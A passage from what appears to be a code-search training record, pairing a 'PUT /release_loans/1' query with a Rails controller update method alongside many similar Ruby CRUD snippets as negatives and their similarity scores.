"def create\n @bill = Bill.new(bill_params)\n\n if @bill.save\n render json: @bill, status: :created, location: @bill\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end",
"def create\n @object_release = ObjectRelease.new(object_release_params)\n\n respond_to do |format|\n if @object_release.save\n format.html { redirect_to @object_release, notice: 'Object release was successfully created.' }\n format.json { render :show, status: :created, location: @object_release }\n else\n format.html { render :new }\n format.json { render json: @object_release.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6025203",
"0.5773867",
"0.5728883",
"0.5720152",
"0.5634739",
"0.5584936",
"0.5515859",
"0.5504758",
"0.55025077",
"0.5491573",
"0.5488336",
"0.54790246",
"0.5446512",
"0.5418494",
"0.5416051",
"0.53619957",
"0.5348527",
"0.53414464",
"0.5328799",
"0.52890575",
"0.52852386",
"0.52846587",
"0.52812177",
"0.5250954",
"0.5249633",
"0.5249469",
"0.5233755",
"0.52278984",
"0.52095115",
"0.52071476",
"0.52039415",
"0.5200987",
"0.5181997",
"0.51787305",
"0.51727873",
"0.51673394",
"0.515972",
"0.5158622",
"0.51576024",
"0.5154233",
"0.5150567",
"0.5148863",
"0.51308864",
"0.5120311",
"0.5118244",
"0.5112673",
"0.51110655",
"0.5110506",
"0.5101093",
"0.5098018",
"0.50968385",
"0.5093667",
"0.50859994",
"0.50800395",
"0.5067686",
"0.50625235",
"0.50615406",
"0.5056981",
"0.5055465",
"0.5055454",
"0.50503516",
"0.5036312",
"0.5033411",
"0.502571",
"0.501949",
"0.50194246",
"0.50187325",
"0.50156575",
"0.5010069",
"0.50075364",
"0.5001241",
"0.4999527",
"0.49994138",
"0.49989545",
"0.49958363",
"0.4991824",
"0.4987666",
"0.49873394",
"0.49821088",
"0.49808094",
"0.49803713",
"0.49786463",
"0.49761322",
"0.49706292",
"0.49671167",
"0.49664384",
"0.49663436",
"0.49649206",
"0.49641365",
"0.4963212",
"0.4962254",
"0.4960957",
"0.4956862",
"0.4954668",
"0.4952624",
"0.49526224",
"0.4950577",
"0.49484333",
"0.49484202",
"0.4946028"
] |
0.66710174
|
0
|
PUT /release_loans/1 PUT /release_loans/1.json
|
def update
@release_loan = ReleaseLoan.find(params[:id])
respond_to do |format|
if @release_loan.update_attributes(params[:release_loan])
format.html { redirect_to @release_loan, notice: 'Release loan was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @release_loan.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @release_loan = ReleaseLoan.new(params[:release_loan])\n\n respond_to do |format|\n if @release_loan.save\n format.html { redirect_to @release_loan, notice: 'Release loan was successfully created.' }\n format.json { render json: @release_loan, status: :created, location: @release_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @release_loan = ReleaseLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def destroy\n @release_loan = ReleaseLoan.find(params[:id])\n @release_loan.destroy\n\n respond_to do |format|\n format.html { redirect_to release_loans_url }\n format.json { head :no_content }\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @release = @environment.releases.find(params[:id])\n\n respond_to do |format|\n if @release.update_attributes(params[:release])\n format.html { redirect_to @release, notice: 'Release was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @interest_on_housing_loan.update(interest_on_housing_loan_params)\n format.html { redirect_to @interest_on_housing_loan, notice: 'Interest on housing loan was successfully updated.' }\n format.json { render :show, status: :ok, location: @interest_on_housing_loan }\n else\n format.html { render :edit }\n format.json { render json: @interest_on_housing_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @release_loan = ReleaseLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def updateFromLOMAT\n respond_to do |format|\n if @tombstone_timehold.update(tombstone_timehold_params_from_lomat)\n format.html { redirect_to @tombstone_timehold, notice: 'Tombstone timehold was successfully updated.' }\n format.json { render :show, status: :ok, location: @tombstone_timehold }\n else\n format.html { render :edit }\n format.json { render json: @tombstone_timehold.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan = Loan.new(loan_params)\n\n respond_to do |format|\n if @loan.save\n book = @loan.book\n book.decrement(:quantity)\n book.save\n format.html { redirect_to @loan, notice: 'Loan was successfully created.' }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @player_loan = PlayerLoan.find(params[:id])\n\n respond_to do |format|\n if @player_loan.update_attributes(params[:player_loan])\n format.html { redirect_to @player_loan, notice: 'Player loan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @player_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Extract the version info\n release = params[:release]\n version = params[:release][:version]\n release.delete(\"version\")\n \n # Validate input\n if (release[:name] == \"\")\n flash[:notice] = \"You must supply a name for the release\"\n respond_to do |format|\n format.html { redirect_to :action => 'new' }\n format.json { head :no_content }\n end\n elsif (release[:source_url] == \"\")\n flash[:notice] = \"You must supply a source URL\"\n respond_to do |format|\n format.html { redirect_to :action => 'new' }\n format.json { head :no_content }\n end\n else\n # Add http:// prefix to source_url if it doesn't already exist\n release[:source_url] = \"http://#{release[:source_url]}\" if not release[:source_url].starts_with? \"http://\" and not release[:source_url].starts_with? \"https://\"\n \n @release = Release.new(release)\n @release.user = current_user\n \n # Add the version info\n # If the URL doesn't start with http:// or https://, add it\n version[:download_url] = \"http://#{version[:download_url]}\" if not version[:download_url].starts_with? \"http://\" and not version[:download_url].starts_with? \"https://\"\n \n @version = Version.new(version)\n @version.version_number = 1\n @version.release = @release\n @release.versions << @version\n\n respond_to do |format|\n if @release.save\n format.html { redirect_to @release, notice: 'Release was successfully created.' }\n format.json { render json: @release, status: :created, location: @release }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend",
"def put(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.put(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def test_release\n\n checklist_0_1 = checklists(:checklist_0_1)\n \n # Try releasing without logging in.\n put(:release, { :id => checklist_0_1.id }, {})\n assert_redirected_to(:controller => 'user', :action => 'login')\n\n # Try releasing from a non-Admin account.\n checklist_count = Checklist.count\n\n checklist = Checklist.find(checklist_0_1.id)\n assert_equal(0, checklist.major_rev_number)\n assert_equal(1, checklist.minor_rev_number)\n\n put(:release, {:id => checklist_0_1.id}, rich_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n put(:release, {:id => checklist_0_1.id}, cathy_admin_session)\n assert_redirected_to(:action => 'list')\n #assert_equal('Checklist successfully released', flash['notice'])\n assert_equal(checklist_count, Checklist.count)\n \n checklist = Checklist.find(checklist_0_1.id)\n assert_equal(@checklist_101.major_rev_number+1, checklist.major_rev_number)\n assert_equal(0, checklist.minor_rev_number)\n\n end",
"def update\n respond_to do |format|\n if @loan.update(loan_params)\n format.html { redirect_to @loan, notice: \"Loan was successfully updated.\" }\n format.json { render :show, status: :ok, location: @loan }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loan.update(loan_params)\n format.html { redirect_to @loan, notice: 'Loan was successfully updated.' }\n format.json { render :show, status: :ok, location: @loan }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loan.update(loan_params)\n format.html { redirect_to @loan, notice: 'Loan was successfully updated.' }\n format.json { render :show, status: :ok, location: @loan }\n else\n format.html { render :edit }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loan.update(loan_params)\n format.html { redirect_to @loan, notice: 'Loan was successfully updated.' }\n format.json { render :show, status: :ok, location: @loan }\n else\n format.html { render :edit }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @release = Release.find(params[:id])\n\n respond_to do |format|\n if @release.update_attributes(params[:release])\n format.html { redirect_to cashier_release_path(current_user), notice: 'Release was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @release = @environment.releases.new(params[:release])\n\n respond_to do |format|\n if @release.save\n format.html { redirect_to @release, notice: 'Release was successfully created.' }\n format.json { render json: @release, status: :created, location: @release }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_mentorship_interest\n @api_v1_mentorship_interest = Api::V1::MentorshipInterest.find(params[:id])\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def create\n @loan = @tool.loans.new(create_loan_params)\n\n @loan.borrower_id = session[:student_id]\n @tool.update(:quantity => @tool.quantity - @loan.tool_quantity)\n @loan.accepted = false\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to home_path, notice: 'Loan was successfully created.' }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { render :new }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loanable.update(loanable_params)\n format.html { redirect_to [:users, @loanable], notice: 'Loanable was successfully updated.' }\n format.json { render :show, status: :ok, location: @loanable }\n else\n format.html { render :edit }\n format.json { render json: @loanable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_loan\n @loan = Loan.where(id: params[:id]).first\n render json: 'not_found', status: :not_found if (@loan.nil?)\n end",
"def assign_tenant_circles_to_an_aos_version_box(args = {}) \n body_put(\"/aosversions.json/aosversionbox/circles/#{args[:aosVersionBoxId]}\", args[:array_of_ids])\nend",
"def update\n @persons_release = PersonsRelease.find(params[:id])\n\n respond_to do |format|\n if @persons_release.update_attributes(params[:persons_release])\n format.html { redirect_to @persons_release, notice: 'Persons release was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @persons_release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @release = Release.find(params[:id])\n \n if current_user.id != @release.user.id\n respond_to do |format|\n format.html { redirect_to @release, notice: \"You do not have permission to edit this release\" }\n format.json { head :no_content }\n end\n end\n\n respond_to do |format|\n if @release.update_attributes(:name => params[:release][:name], :description => params[:release][:description])\n format.html { redirect_to @release, notice: 'Release was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n end",
"def set_release_status\n @release_status = ReleaseStatus.find(params[:id])\n end",
"def update\n @lease = Lease.find(params[:id])\n\n respond_to do |format|\n if @lease.update_attributes(params[:lease])\n format.html { redirect_to cars_url, :notice => 'Lease was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @lease.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_aos_version_box(args = {}) \n post(\"/aosversions.json/aosversionbox\", args)\nend",
"def update\n respond_to do |format|\n if @loan.update(loan_params)\n format.html { redirect_to @loan, notice: 'Loan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(borrowernumber, params)\n #raise ArgumentError, \"need both priority and branchcode params!\" unless params[:priority] && params[:branchcode]\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(\"#{intranet(:koha_rest_api)}patrons/#{borrowernumber}\")\n res = http.put(uri, params.to_json, headers)\n expect(res.code).to eq(\"200\"), \"got unexpected #{res.code} when updating patron.\\nResponse body: #{res.body}\"\n res.body\n end",
"def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end",
"def update\n @lost = Lost.find(params[:id])\n\n respond_to do |format|\n if @lost.update_attributes(params[:lost])\n format.html { redirect_to @lost, notice: 'Lost was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @lease\n respond_to do |format|\n if @lease.update(lease_params)\n format.html { redirect_to @lease, success: I18n.t('notices.updated', entity: Lease.model_name.human, title: @lease.reference) }\n format.json { render :show, status: :ok, location: @lease }\n else\n format.html { render :edit }\n format.json { render json: @lease.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_release\n @release = Release.find(params[:id])\n end",
"def set_release\n @release = Release.find(params[:id])\n end",
"def set_release\n @release = Release.find(params[:id])\n end",
"def set_release\n @release = Release.find(params[:id])\n end",
"def new_releases\n api_call(\"https://api.spotify.com/\",\"/v1/browse/new-releases\")\n end",
"def update\n respond_to do |format|\n if @livingsupply.update(livingsupply_params)\n format.html { redirect_to @livingsupply, notice: 'Livingsupply was successfully updated.' }\n format.json { render :show, status: :ok, location: @livingsupply }\n else\n format.html { render :edit }\n format.json { render json: @livingsupply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_lover\n begin\n @lover = Lover.find(params[:lover_id])\n rescue\n return render json: {exception: \"LoverException\", message: \"This lover doesn't exist\"}, status: 400\n end\n\n end",
"def update\n respond_to do |format|\n if @lovedone.update(lovedone_params)\n format.html { redirect_to lovedones_path, notice: 'Loved one has been successfully updated.'}\n format.json { render :show, status: :ok, location: @lovedone }\n else\n format.html { render :edit }\n format.json { render json: @lovedone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loan.update(loan_params)\n format.html { redirect_to \"/loans/#{@loan.id}/#{loan_params[:next_step]}\", notice: 'Loan was successfully updated.' }\n format.json { render :show, status: :ok, location: @loan }\n else\n format.html { render :edit }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @commit = params[:commit]\n @release = @environment.releases.new(\n commit0: @environment.last_commit,\n commit1: @commit)\n if @release.can_read_commits?\n @release.load_commits!\n @release.load_tickets!\n @release.build_changes_from_commits\n end\n if @release.changes.none?\n render :template => \"releases/new_pick_commit\"\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end\n end",
"def test_cast_vote_rolf_second_lesser\n obs = observations(:coprinus_comatus_obs)\n nam1 = namings(:coprinus_comatus_naming)\n nam2 = namings(:coprinus_comatus_other_naming)\n\n login(\"rolf\")\n put(:update, params: { vote: { value: \"-1\" }, naming_id: nam2.id })\n assert_equal(10, rolf.reload.contribution)\n\n # Make sure observation was updated right.\n assert_equal(names(:coprinus_comatus).id, obs.reload.name_id)\n\n # Check vote.\n assert_equal(3, nam1.reload.vote_sum)\n assert_equal(2, nam2.reload.vote_sum)\n assert_equal(2, nam2.votes.length)\n end",
"def update\n respond_to do |format|\n if @release.update(release_params)\n format.html { redirect_to @release, notice: 'Release was successfully updated.' }\n format.json { render :show, status: :ok, location: @release }\n else\n format.html { render :edit }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_sulabh_loan_request\n @sulabh_loan_request = SulabhLoanRequest.find(params[:id])\n end",
"def test_cast_vote_mary\n obs = observations(:coprinus_comatus_obs)\n nam1 = namings(:coprinus_comatus_naming)\n nam2 = namings(:coprinus_comatus_other_naming)\n\n login(\"dick\")\n obs.change_vote(nam2, 3, dick)\n assert_equal(names(:coprinus_comatus).id, obs.reload.name_id)\n assert_equal(11, dick.reload.contribution)\n\n login(\"mary\")\n put(:update, params: { vote: { value: Vote.delete_vote },\n naming_id: nam1.id })\n assert_equal(9, mary.reload.contribution)\n\n # Check votes.\n assert_equal(2, nam1.reload.vote_sum)\n assert_equal(1, nam1.votes.length)\n assert_equal(3, nam2.reload.vote_sum)\n assert_equal(3, nam2.votes.length)\n\n # Make sure observation is changed correctly.\n assert_equal(names(:coprinus_comatus).search_name,\n obs.reload.name.search_name,\n \"Cache for 3: #{nam1.vote_cache}, 9: #{nam2.vote_cache}\")\n end",
"def update\n @mission = Mission.find(params[:id])\n end",
"def update\n @os_release = OsRelease.find(params[:id])\n\n respond_to do |format|\n if @os_release.update_attributes(params[:os_release])\n format.html { redirect_to @os_release, notice: 'Os release was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @os_release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_bump_release_candidate_to_release\n value_ = ::Versionomy.create(:major => 2, :tiny => 1, :release_type => :release_candidate, :release_candidate_version => 2)\n value_ = value_.bump(:release_type)\n assert_equal(2, value_.major)\n assert_equal(0, value_.minor)\n assert_equal(1, value_.tiny)\n assert_equal(0, value_.tiny2)\n assert_equal(:final, value_.release_type)\n assert_equal(0, value_.patchlevel)\n assert_equal(0, value_.patchlevel_minor)\n end",
"def update\n if @loan.update loan_params\n redirect_to @loan\n else\n render 'edit'\n end\n end",
"def edit(*args)\n arguments(args, required: [:owner, :repo, :id])\n\n patch_request(\"/repos/#{arguments.owner}/#{arguments.repo}/releases/#{arguments.id}\", arguments.params)\n end",
"def update\n respond_to do |format|\n if @loan.update(update_loan_params)\n if @loan.returned\n @tool.update(:quantity => @tool.quantity + @loan.tool_quantity)\n end\n if @loan.borrower_id = session[:student_id]\n format.html { redirect_to Student.find(@loan.borrower_id), notice: 'Loan was successfully updated.' }\n else\n format.html { redirect_to Student.find(@loan.owner_id), notice: 'Loan was successfully updated.' }\n end\n format.json { render :show, status: :ok, location: @loan }\n else\n format.html { render :edit }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_cast_vote_rolf_second_greater\n obs = observations(:coprinus_comatus_obs)\n nam2 = namings(:coprinus_comatus_other_naming)\n\n login(\"rolf\")\n put(:update, params: { vote: { value: \"3\" }, naming_id: nam2.id })\n assert_equal(10, rolf.reload.contribution)\n\n # Make sure observation was updated right.\n assert_equal(names(:agaricus_campestris).id, obs.reload.name_id)\n\n # Check vote.\n assert_equal(6, nam2.reload.vote_sum)\n assert_equal(2, nam2.votes.length)\n end",
"def update\n respond_to do |format|\n if @object_release.update(object_release_params)\n format.html { redirect_to @object_release, notice: 'Object release was successfully updated.' }\n format.json { render :show, status: :ok, location: @object_release }\n else\n format.html { render :edit }\n format.json { render json: @object_release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @player_loan = PlayerLoan.new(params[:player_loan])\n\n respond_to do |format|\n if @player_loan.save\n format.html { redirect_to @player_loan, notice: 'Player loan was successfully created.' }\n format.json { render json: @player_loan, status: :created, location: @player_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @player_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @ban = @cloud.bans.find(params[:id])\n @ban.assign_attributes(params[:ban])\n\n if authorize @ban, :update?\n if @ban.save\n render status: 200\n else\n set_flash_message message: \"You used the wrong kind of magic and the canon broke.\", title: \"Moon canon malfunction\"\n build_errors_from_model @ban\n render status: 422\n end\n else\n set_flash_message message: \"Only supreme rulers are authorized to operate the moon-canon.\", title: \"No banana bag?\"\n build_errors_from_model @ban\n render status: 401\n end\n end",
"def update\n if params[:change] == 'release' \n Space.update(params[:id].to_i, :unavailable => 0)\n else\n Space.update(params[:id].to_i, :unavailable => 1)\n end\n redirect_to :action => :index\n end",
"def set_loan\n @loan = @user.loans.find(params[:id])\n end",
"def update\n @history = History.find(params[:id])\n respond_to do |format|\n\n @history.update(status: 0)\n format.html { redirect_to @history, notice: 'Released successfully!!' }\n\n end\n end",
"def update\n @platform = Platform.find(params[:id])\n banners = Banner.where(:id => params[:platform].delete(:banners))\n @platform.banners = banners\n\n respond_to do |format|\n if @platform.update_attributes(params[:platform])\n format.html { redirect_to @platform, notice: 'Platform was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @platform.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_interest_on_housing_loan\n @interest_on_housing_loan = InterestOnHousingLoan.find(params[:id])\n end",
"def create\n @lease = Lease.new(params[:lease])\n\n respond_to do |format|\n if @lease.save\n car = Car.where(:registration => @lease.registration).first\n car.update_attributes(:longtermassigned => true)\n format.html { redirect_to cars_url, :notice => 'Lease was successfully created.' }\n format.json { render :json => @lease, :status => :created, :location => @lease }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @lease.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @supplies_loan = SuppliesLoan.find(params[:id])\n\n respond_to do |format|\n if @supplies_loan.update_attributes(params[:supplies_loan])\n format.html { redirect_to @supplies_loan, notice: 'Supplies loan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @supplies_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_loan\n @loan = Loan.find(params[:id])\n authorize @loan\n end",
"def set_release\n @release = Admin::Release.find(params[:id])\n end",
"def loan\n # retrieve the book objet to be loaned\n @book = Book.friendly.find(params[:id])\n # check if the book is available\n if @book.available?\n @book.status = Book.statuses[:borrowed]\n @book.save\n # redirect to book show page with a success message\n redirect_to store_show_path, notice: 'You have successfully borrowed this book'\n else\n # redirect to book show page with an error message\n redirect_to store_show_path, alert: 'This book is not available, you can not borrow this'\n end\n end",
"def create\n @loan = Loan.new(loan_params)\n @book = Book.find_by( params[:book_id] )\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to @loan, notice: 'Book successfully borrowed' }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { redirect_to books_path, alert: 'Book not available' }\n end\n end\n end",
"def update\n @player_round_loan = PlayerRoundLoan.find(params[:id])\n\n respond_to do |format|\n if @player_round_loan.update_attributes(params[:player_round_loan])\n format.html { redirect_to @player_round_loan, notice: 'Player round loan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @player_round_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @release = Release.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end",
"def update\n respond_to do |format|\n if @bowler.update(bowler_params)\n\n @bowler.record :update, current_user, selected_tournament\n \n format.html { redirect_to @bowler, notice: \"Bowler [#{@bowler.full_name}] was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bowler.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # prevent ParkingSpot error\n signed_lease_params[:parking_spot] = nil if signed_lease_params[:parking_spot] == ''\n\n request = HousingRequest.find_by_req_no(params[:req_no])\n @signed_lease = SignedLease.new(signed_lease_params)\n @signed_lease.sid = request.sid\n\n #set some attributes to nil to avoid foreign key constraint errors\n\n if (params[:type] == 'single')\n @signed_lease.apt_no = nil\n else\n @signed_lease.place_no = nil\n @signed_lease.unit_no = nil\n end\n\n @signed_lease.parking_spot = nil if @signed_lease == ''\n @signed_lease.permit_id = nil if @signed_lease == ''\n\n respond_to do |format|\n if @signed_lease.save\n\n #change app_status on housing_requests after signed_lease has been created\n request.app_status = 2\n request.save\n\n #update to rooms or family apts\n if (params[:type] == 'single')\n # can't use update because of rooms has superkey!\n #room = Room.where(:place_no => @signed_lease.place_no, :unit_no =>@signed_lease.unit_no)\n #room.occupant = request.sid # see if this works?\n #room.save\n ActiveRecord::Base.connection.execute('update rooms set occupant = \"#{request.sid}\" where unit_no = \"#{@signed_lease.unit_no}\" and place_no = \"#{@signed_lease.place_no}\"')\n else\n family_apt = FamilyApt.find_by_apt_no(@signed_lease.apt_no)\n family_apt.occupant = request.sid\n family_apt.save\n end\n\n format.html { redirect_to @signed_lease, notice: 'Signed lease was successfully created.' }\n format.json { render :show, status: :created, location: @signed_lease }\n else\n format.html { render :new }\n format.json { render json: @signed_lease.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate = Plate.find(params[:id])\n\n if @plate.update(params[:plate])\n head :no_content\n else\n render json: @plate.errors, status: :unprocessable_entity\n end\n end",
"def update\n @bill = Bill.find(params[:id])\n\n if @bill.update(params[:bill])\n head :no_content\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = current_user.id\n @space = Space.find(params[:space_id])\n @lease = Lease.find(params[:id])\n\n respond_to do |format|\n if @lease.update_attributes(params[:lease])\n format.html { redirect_to space_lease_path(@space,@lease), notice: 'Lease was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lease.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lounges = Lounge.find(params[:id])\n @lounges.update_attributes(params[:lounge])\n if @lounges.save\n CustomLogger.debug(\"Lounge updated\")\n CustomLogger.debug(\"--------------\") \n to_log(@lounges) \n @lounges = Lounge.new\n end\n @all_lounges = Lounge.all\n\n end",
"def update\n @lugar = Lugar.find(params[:id])\n\n if @lugar.update(lugar_params)\n head :no_content\n else\n render json: @lugar.errors, status: :unprocessable_entity\n end\n end",
"def test_cast_vote_rolf_change\n obs = observations(:coprinus_comatus_obs)\n nam1 = namings(:coprinus_comatus_naming)\n\n login(\"rolf\")\n put(:update, params: { vote: { value: \"2\" }, naming_id: nam1.id })\n assert_equal(10, rolf.reload.contribution)\n\n # Make sure observation was updated right.\n assert_equal(names(:coprinus_comatus).id, obs.reload.name_id)\n\n # Check vote.\n assert_equal(3, nam1.reload.vote_sum)\n assert_equal(2, nam1.votes.length)\n end",
"def set_api_v1_lifestyle\n @api_v1_lifestyle = Api::V1::Lifestyle.find(params[:id])\n end",
"def update\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n if @loan.update_attributes(params[:loan])\n flash[:notice] = 'Loan was successfully updated.'\n format.html { redirect_to(@loan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @loan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @h_old = @housing_detail.dup\n @h_old.save\n\n @housing_detail.status = 'Waiting for Approval'\n @housing_detail.version_id = HousingDetail.where(category_id: @h_old.category_id).maximum(:version_id) + 1\n @housing_detail.updatedby = current_user.email\n\n respond_to do |format|\n if @housing_detail.update(housing_detail_params)\n format.html { redirect_to @housing_detail, notice: 'Housing detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @housing_detail }\n else\n format.html { render :edit }\n format.json { render json: @housing_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n slogan = Slogan.find(params[:id])\n if slogan.update_attributes(slogan_params)\n render json: {\n status: 'Success',\n message: 'Slogan updated',\n data: slogan},\n status: :ok\n else \n render json: {\n status: 'Success',\n message: 'Slogan not updated',\n data: slogan},\n status: :unprocessable_entity\n end\n end",
"def set_api_v1_mentoring\n @api_v1_mentoring = Api::V1::Mentoring.find(params[:id])\n end",
"def update\n if @hobby.update(hobby_params)\n render :show, status: :ok, location: @hobby\n else\n render json: @hobby.errors, status: :unprocessable_entity\n end\n end",
"def update\n @orthodb_best_orthologue = OrthodbBestOrthologue.find(params[:id])\n\n respond_to do |format|\n if @orthodb_best_orthologue.update_attributes(params[:orthodb_best_orthologue])\n format.html { redirect_to @orthodb_best_orthologue, notice: 'Orthodb best orthologue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orthodb_best_orthologue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @milestone = Milestone.find(params[:id])\n @milestone.update_attributes(params[:milestone])\n respond_to do |format|\n if @milestone.save\n format.html { redirect_to goals_path, notice: 'Milestone was successfully created.' }\n format.json { respond_with_bip(@milestone) }\n else\n format.html { render action: \"new\" }\n format.json { respond_with_bip(@milestone) }\n end\n end\n end",
"def new\n @release = Release.new\n @cashier = Cashier.find(params[:cashier_id])\n #@cashier = current_user.cashier\n # @release.type_release = params[:type_release]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end",
"def set_object_release\n @object_release = ObjectRelease.find(params[:id])\n end",
"def set_api_v1_reward\n @api_v1_reward = Api::V1::Reward.find(params[:id])\n end"
] |
[
"0.609197",
"0.5708468",
"0.5613374",
"0.55026466",
"0.5499115",
"0.54883105",
"0.5460921",
"0.54535025",
"0.5446856",
"0.5441261",
"0.53988326",
"0.5381921",
"0.53722507",
"0.5350656",
"0.5334729",
"0.53315985",
"0.5296379",
"0.5296379",
"0.5291428",
"0.5290996",
"0.5288257",
"0.5287993",
"0.527353",
"0.52711314",
"0.5265756",
"0.52577007",
"0.5251726",
"0.52491456",
"0.52366877",
"0.52366877",
"0.52366877",
"0.52366877",
"0.52366877",
"0.52366877",
"0.52366877",
"0.52366877",
